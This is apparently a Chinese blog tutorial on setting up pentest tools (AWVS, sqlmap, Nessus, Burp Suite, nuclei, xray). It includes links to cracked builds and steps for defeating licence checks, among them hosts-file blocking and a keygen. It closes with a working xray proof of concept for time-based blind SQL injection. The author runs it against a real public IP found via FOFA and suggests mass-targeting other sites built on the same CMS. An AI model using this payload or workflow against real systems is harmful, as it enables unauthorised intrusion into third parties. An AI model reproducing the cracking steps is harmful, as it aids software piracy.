渗透测试工具部署及使用简易指南

漏扫 - awvs

下载地址
1
2
3
4
5
6
7
8
9
下载链接1 - 版本23.7 (直接下)
https://ddosi-my.sharepoint.com/personal/netsparker_ddosi_onmicrosoft_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fnetsparker%5Fddosi%5Fonmicrosoft%5Fcom%2FDocuments%2F%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%2Fawvs%2Facunetix%5F23%2E7%5Fwww%2Eddosi%2Eorg%2Erar&parent=%2Fpersonal%2Fnetsparker%5Fddosi%5Fonmicrosoft%5Fcom%2FDocuments%2F%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%2Fawvs&ga=1
破解详情
https://www.ddosi.org/awvs-23-7/
------------------------------------------------------------------------------------------------------------
下载链接2 - 版本24.3 (迅雷云盘)
https://pan.xunlei.com/s/VNvBVv1uyTE_5Eic_MHTvrWoA1提取码:baw5
破解详情
https://zhuanlan.zhihu.com/p/691434997
破解安装

image-20240509140635197

1
2
3
4
5
安装步骤:
1.正常安装acunetix.exe 、同意证书的安装
2.添加hosts文件,防止远程监测更新
3.将license_info.json和wa_data.dat移动到 [安装目录]\Acunetix\shared\license\ (如果安装时选择默认,则在C盘programData文件夹中,为隐藏文件夹)中,选中两者,右键属性,设置为只读
4.将.exe文件替换至[安装目录]\Acunetix\24.3.240322155

image-20240509141117423

安装好后直接登录是会提示缺少license的

先去C:\Windows\System32\drivers\etc\hosts 添加内容。如果没权限可以先保存一份在桌面,然后用桌面的复制过来替换hosts即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
把一下几行映射添加到hosts中

127.0.0.1  erp.acunetix.com
127.0.0.1  erp.acunetix.com.
::1  erp.acunetix.com
::1  erp.acunetix.com.

192.178.49.174  telemetry.invicti.com
192.178.49.174  telemetry.invicti.com.
2607:f8b0:402a:80a::200e  telemetry.invicti.com
2607:f8b0:402a:80a::200e  telemetry.invicti.com.

image-20240509142306460

替换license

image-20240509142421061

替换exe

然后重启一下服务

image-20240509142520774

访问localhost:3343即可

进入profile即可更改为中文

image-20240509143500439

新建扫描

首先添加目标

image-20240509143401850

保存后选择扫描相关参数即可开始扫描

image-20240509143659614

sql注入自动化 - sqlmap

下载地址
1
2
3
4
5
github:
https://github.com/sqlmapproject/sqlmap

需要python环境,python官网
https://www.python.org/downloads/

从终端进入

image-20240429151836882

使用python命令启动(已配置好python环境) python sqlmap.py …… 即可

使用

查看帮助 python sqlmap.py -h

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
基础使用
python sqlmap.py -u "URL"   				----对一个url进行检测
附加参数
	其他读取方式
		-r		----读取一个文本文件进行检测,可将burp中抓到的http包保存为txt文件,然后使用该命令读取。可以用*来标注注入点
		-m		----读取一个文本文件,其中含有多个站点,可批量进行检测
-x				----从目标站点开始爬取所有的站点,并进行测试
--batch      	----对于一些后续的测试产生的提示进行自动化选择 (推荐)
--level (1-5) 	----指定注入等级,越高则检测的注入类型越多、越广,但会增加耗时
--risk  (1-3)	----指定注入风险等级,越高越越可能对目标站点的数据库造成不可估量的影响,慎用
--time-sec		----指定时间盲注成功的睡眠时间,单位秒,可根据网络状况来选择
--tamper=xxxx	----自定义注入时使用的替换模板脚本文件,可以用来绕过waf,tamper文件夹有许多自带模板,也可以根据某网站过滤条件、字段自己编写tamper来绕过
--random-agent	----随机agent头,减少被检测识别的可能性

--dbs: 			----枚举数据库管理系统中的所有数据库名称
-D, --dbms: 	----指定目标数据库管理系统类型 (MySQL, PostgreSQL, etc.)。
--technique: 	----指定注入技术 (B: Boolean-based blind, T: Time-based blind, U: UNION query, S: Stacked queries, etc.)
--current-db: 	----获取当前数据库名称
--current-user: ----获取当前数据库用户名称
-T, --tables: 	----列出指定数据库中的所有表名称
-C, --columns: 	----列出指定表中的所有列名称
--dump: 		----导出指定表中的数据
--dump-all: 	----导出所有数据库表中的数据

image-20240507180057172

跑个sqlilab, 这关正好是盲注,盲注好像要level3 以上才行,需要加–level 4 或者5

信息收集 - dirsearch ,jsfinder, urlfinder

目录遍历 js爬虫 url爬虫

1
2
3
4
下载地址
https://github.com/maurosoria/dirsearch
https://github.com/Threezh1/JSFinder
https://github.com/pingc0y/URLFinder

三者功能略有重复,但也各有所异,原理也不相同

都是 -u 指定url 然后开扫

1
2
3
4
5
go build urlfinder命令 只放一个win x64的 可以在readme.md里查看其它系统
SET CGO_ENABLED=0
SET GOOS=windows
SET GOARCH=amd64
go build -ldflags "-s -w" -o ./URLFinder-windows-amd64.exe
1
2
3
4
5
6
7
8
python dirsearch.py -u [url]
dirsearch 指定状态码的指令 --include, -i 200-299,300-399,403 指的是只显示该状态码的结果,反之,--exclude, -e 就是不显示
python jsfinder.py -u [url]

urlfinder是go编写的,build后使用exe运行
urlfinder.exe -u [url]

其他参数可用-h查询

image-20240507175807982

漏扫 - Nessus

docker部署 一步到位

docker上 部署一步到位!

license问题 参考 https://github.com/elliot-bia/nessus

关于登录密码

image-20240429153909994

该密文为凯撒加密,位移为7

Windows部署
1
2
3
4
5
6
官网下载链接
https://www.tenable.com/downloads/nessus?loginAttempted=true

官网获取activation code
https://www.tenable.com/products/nessus/nessus-essentials
用可用的邮箱来接码,如果不想用自己的邮箱,可以用临时邮箱:https://temp-mail.org/en/

image-20240509101509058

​ 先正常安装,路径随便选,一直下一步就行。注意需要放在空的文件夹里,最好新建一个Nessus文件夹

image-20240509102236944

安装好之后在安装目录里有Nessus web client,访问之。

笨蛋chrome可能会阻止访问,访问chrome://flags/#allow-insecure-localhost,将这一栏设置为enable

image-20240509104512901

image-20240509104602662

把对应的网站的security policies清除即可访问

安装步骤

image-20240509110248738

选择离线注册

image-20240509110721418

image-20240509111730203

选择offline registration

先以管理员身份打开cmd,然后cd到Nessus的目录下

image-20240509111849324

1
2
3
4
cd /d  "X:\Path\To\Nessus"

然后运行命令
nessuscli fetch --challenge

image-20240509112523021

image-20240509112618608

然后在刚刚点击offline registration后跳出的网页中,上面输入cmd命令得到的challenge code,下面输入邮箱得到的activation code,submit得到key

image-20240509113016419

把插件下载好,就先不要管。

把key复制过来,完成破解

image-20240509113106238

再设置登录账号

image-20240509113141294

完成后等待initialization即可

安装插件

把之前下载的 .tar.gz 文件复制到Nessus目录下

image-20240509113659596

cmd 执行命令 nessuscli.exe update all-2.0.tar.gz 即可

image-20240509113644414

去服务里面重启Nessus服务,再次访问Nessus页面,等待插件加载。就OK了

image-20240509113756799

image-20240509113845007

ok!

抓包 - burpSuite

下载地址
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
吾爱破解:https://www.52pojie.cn/forum.php?mod=viewthread&tid=1544866&highlight=burpsuite

链接:
123网盘(不限速 需登录 免客户端 )
https://www.123pan.com/s/F2W5Vv-Rk7Vv.html
提取码:52pj


百度网盘链接:
https://pan.baidu.com/s/1J_CUxLKqC0h3Ypg4sQV0_g
提取码:52pj

第一次打开burp需要先破解

image-20240429173236962

打开注册机BurpSuiteLoader1.jar

破解

image-20240429173423655

然后直接下一步

image-20240429173504051

再点击手动激活

image-20240429173657933

image-20240429173727359

点击下一步,注册成功

image-20240429173747155

image-20240429173804130

设置证书 (系统安装、浏览器安装)

从burp中导出证书

image-20240429174110192

选择DER格式,next

image-20240429174142172

选择保存路径,后缀为cer

image-20240429174253923

选择受信任的根证书颁发机构 安装

image-20240429175010902

浏览器导入证书

image-20240429174731702

同样的,导入至受信任的根证书颁发机构即可

然后在本地,再双击安装证书到系统,步骤同上;

还有另外一份证书,暂不知两份证书有何不同,但一块导入了总没问题。。

开启burp代理,url输入http://burp并访问,即可下载证书。

需要注意的是有的说法是,将der的证书从浏览器导入后,需要再从浏览器导出,导出格式设置为cer;然而重新安装导入这个cer的证书至系统与浏览器。

都试试总没问题。。。

配置代理

先查看burp的代理设置

image-20240429175116676

推荐使用web代理管理工具

谷歌浏览器可以使用switchy Omega插件

image-20240429175328295

新增情景模式,按照burp的模式添加即可

选择该情景,即可在burp上抓到包

漏扫 - nuclei, xray

下载地址
1
2
3
4
5
6
7
https://github.com/projectdiscovery/nuclei
https://github.com/chaitin/xray

还有个非官方的xray ui版 选择对应的版本即可
https://github.com/4ra1n/super-xray

注意,使用nuclei需要go环境,官网下载配置即可

两个工具都是直接安装release里的exe即可

两个工具都使用其强大的poc库对页面进行漏扫,如果不指定poc,则会使用默认模板。

nuclei 基本参数
1
2
3
4
5
6
7
官方文档
https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md

-u --url 扫描的页面url  多个目标用多个-u参数指定
-t --templates 指定poc   最好先用-validate检验一下poc模板的可用性   模板记得放 C:\Users\用户名\nuclei-templates 目录中,然后用 /yourdir/yourpoc来指定即可
-o 指定输出 等等
可用 -h 查阅更多指令
xray 基本使用

官方文档: [https://docs.xray.cool]

  1. 使用基础爬虫爬取并对爬虫爬取的链接进行漏洞扫描

    1
    
    xray webscan --basic-crawler http://example.com --html-output vuln.html
    
  2. 使用 HTTP 代理进行被动扫描 (指哪打哪,代理访问的每一个页面都被监听且自动化扫描)

    1
    
    xray webscan --listen 127.0.0.1:7777 --html-output proxy.html
    

    设置浏览器 http 代理为 http://127.0.0.1:7777,就可以自动分析代理流量并扫描。

  3. 只扫描单个 url,不使用爬虫

    1
    
    xray webscan --url http://example.com/?a=b --html-output single-url.html
    
  4. 手动指定本次运行的插件

    默认情况下,将会启用所有内置插件,可以使用下列命令指定本次扫描启用的插件。

    1
    2
    
    xray webscan --plugins cmd-injection,sqldet --url http://example.com
    xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777
    
  5. 指定插件输出

    可以指定将本次扫描的漏洞信息输出到某个文件中:

    1
    2
    
    xray webscan --url http://example.com/?a=b \
    --text-output result.txt --json-output result.json --html-output report.html
    
使用xray用自行编写的poc对网站进行扫描

以下举例,对fofa找到的一个真实的存在已知时间盲注漏洞的cms的登陆界面 进行xray扫描

首先收集漏洞信息,然后编写xray使用的poc [https://poc.xray.cool/] 有些poc之间的模板并不通用,比如xray编写的poc并不一定能在nuclei上运行(可能是我配置有什么问题,但是我nuclei跑不了给xray编写的poc)

编写界面大致如下,根据实际情况,在其中一个规则中添加http头和body,然后设置好响应状态码、响应头的输出、其他响应条件之类的,来判定漏洞标志。

poc编写好之后,最好在xray目录下的config.yaml最开始那里 添加代理 proxy,给burp端口挂上,然后方便xray发包的时候用burp查看包信息来调试检查。

image-20240508101100605

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
name: poc-yaml-cms
transport: http
rules:
  r0:
    request:
      method: POST
      path: /api/user/login
      follow_redirects: false
      headers:
        Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
        User-Agent: >-
          Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
          like Gecko) Chrome/124.0.0.0 Safari/537.36          
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      body: >-
        captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(0))a)='        
    expression: response.status == 200
    output:
      r0latency: response.latency
  r1:
    request:
      method: POST
      path: /api/user/login
      follow_redirects: false
      headers:
        Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
        User-Agent: >-
          Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
          like Gecko) Chrome/124.0.0.0 Safari/537.36          
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
      body: >-
        captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(3))a)='        
    expression: response.latency - r0latency >= 2800
expression: r0() && r1()
detail:
  author: 3lizabeth
  links:
    - hqu3lizabeth.top

这个简单的cms的时间盲注poc,按照上面的模板填好后,保存为.yaml文件就能直接使用了。这里的yaml检测时间盲注的方法是用response.lantency。用两个规则,一个规则正常发包,获取大致的响应时间,然后另一个规则发送一个sleep(3)的包,两者相减,大致判断响应延迟是否在3秒左右,如是,则认为存在该cms的时间盲注漏洞

使用xray扫描

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
L:\Hack Tools\web\multiple scanners\Xray>xray.exe ws -url "https://106.55.100.76" --poc C:\Users\Lovecraft\Desktop\cms-time.yaml --html-output ./output.html

____  ___.________.    ____.   _____.___.
\   \/  /\_   __   \  /  _  \  \__  |   |
 \     /  |    _  _/ /  /_\  \  /   |   |
 /     \  |    |   \/    |    \ \____   |
\___/\  \ |____|   /\____|_   / / _____/
      \_/       \_/        \_/  \/

Version: 1.9.11/eb0c331d/COMMUNITY

[INFO] 2024-05-08 10:20:47 [default:entry.go:226] Loading config file from config.yaml

Enabled plugins: [phantasm]

[INFO] 2024-05-08 10:20:48 [phantasm:phantasm.go:114] found local poc C:\Users\Lovecraft\Desktop\cms-time.yaml
[INFO] 2024-05-08 10:20:48 [phantasm:phantasm.go:185] 1 pocs have been loaded (debug level will show more details)
[INFO] 2024-05-08 10:20:48 [default:dispatcher.go:444] processing GET https://106.55.100.76
[Vuln: phantasm]
Target           "https://106.55.100.76"
VulnType         "poc-yaml-cms/default"
Author           "3lizabeth"
Links            ["hqu3lizabeth.top"]

[*] All pending requests have been scanned
[*] scanned: 1, pending: 0, requestSent: 3, latency: 1059.00ms, failedRatio: 0.00%
[INFO] 2024-05-08 10:20:52 [controller:dispatcher.go:573] controller released, task done

输出html报告

image-20240508102341115

然后就可以批量去搜集这种cms建站的网站,开始愉快的搬砖了~